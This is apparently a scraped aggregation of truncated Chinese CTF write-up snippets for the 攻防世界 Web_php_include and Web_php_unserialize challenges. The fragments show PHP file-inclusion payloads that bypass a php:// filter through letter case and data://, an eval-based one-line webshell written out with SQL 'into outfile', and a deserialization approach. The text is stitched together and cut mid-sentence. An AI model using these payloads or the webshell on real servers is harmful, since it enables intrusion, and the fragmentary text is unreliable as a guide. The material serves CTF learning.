方法一:大小写绕过 strstr()函数对php我协议进行了过滤,但我们可以尝试大小写绕过 抓包POST传值让其执行我们输入的命令 ?page=Php://input <?php system('ls'); ?> 发现可疑文件,执行命令打开 方法二:data://协议绕过 原理相同,不让用php我们就用data哈哈 ?page=data://text/plain,<?php system('ls');...
攻防世界(web篇)---Web_php_include题目&amp;amp;lt;?php show_source(__FILE__); echo $_GET['hello']; $page
一、Web_php_include 题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1 二、使用步骤 1.点击获取在线场景 2.查看页面 打开页面得到如下代码 代码语言:javascript 复制 <?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while(strstr($pag...
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 2)解题思路 根据题目代码可以看到后台可以接收两个参数 hello和page 其中page参数会判断是否存在php://字...
CTF-攻防世界-Web_php_include(PHP⽂件包含)题⽬ 从给出的代码来看,参数名是page,并且过滤了php协议。正好之前学过⽂件包含漏洞,看能不能学以致⽤。。。解题过程 输⼊:http://111.198.29.45:54883/index.php?page=data:text/plain,%3C?php%20phpinfo();?%3E 返回phpinfo页⾯,并找到了...
一般username与password都为root,但此题的username为root,密码为空; 在SQL处写入一句话木马和文件包含: select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php' 1. 点击执行。 用蚁剑连接(注意在URL地址后加?page=/tmp/test.php ) ...
1、.phps 这个是之前所没有碰到过的 第⼀次扫描时也没有扫出来,长个记性,记⼀下 2、urldecode/urlencode 当传⼊参数id时,浏览器在后⾯会对⾮ASCII码的字符进⾏⼀次urlencode 然后在这段代码中运⾏时,会⾃动进⾏⼀次urldecode 在urldecode()函数中,再⼀次进⾏⼀次解码 urldecode(%...
攻防世界-Web_php_include 打开网页 这个网页会显示变量hello的值,,并且执行变量page中的内容,并且还会替换掉page变量中的php:// 方法一 因为php://被过滤了,所以要用其他的伪协议,比如data:// 所以构造payload ?page=data://text/plain,<?system('ls -l')?>...
攻防世界-web-⾼⼿进阶区012-Web_php_unserialize 1.审计代码,构造payload,代码⽣成对象的序列化 <?php class Demo { private $file = 'index.php';public function __construct($file) { this−>file=file;} function __destruct() { echo @highlight_file($this->file, true);} function __...
CTF-攻防世界-Web_php_unserialize(PHP反序列化)题⽬ 解题过程 PHP反序列化的⼀道题,从代码看出flage在fl4g.php这个⽂件⾥⾯,Demo类的构造⽅法可以传⼊⽂件名。把Demo的代码贴到本地做⼀下序列化 class Demo { private$file = 'index.php';public function __construct($file) { $this-...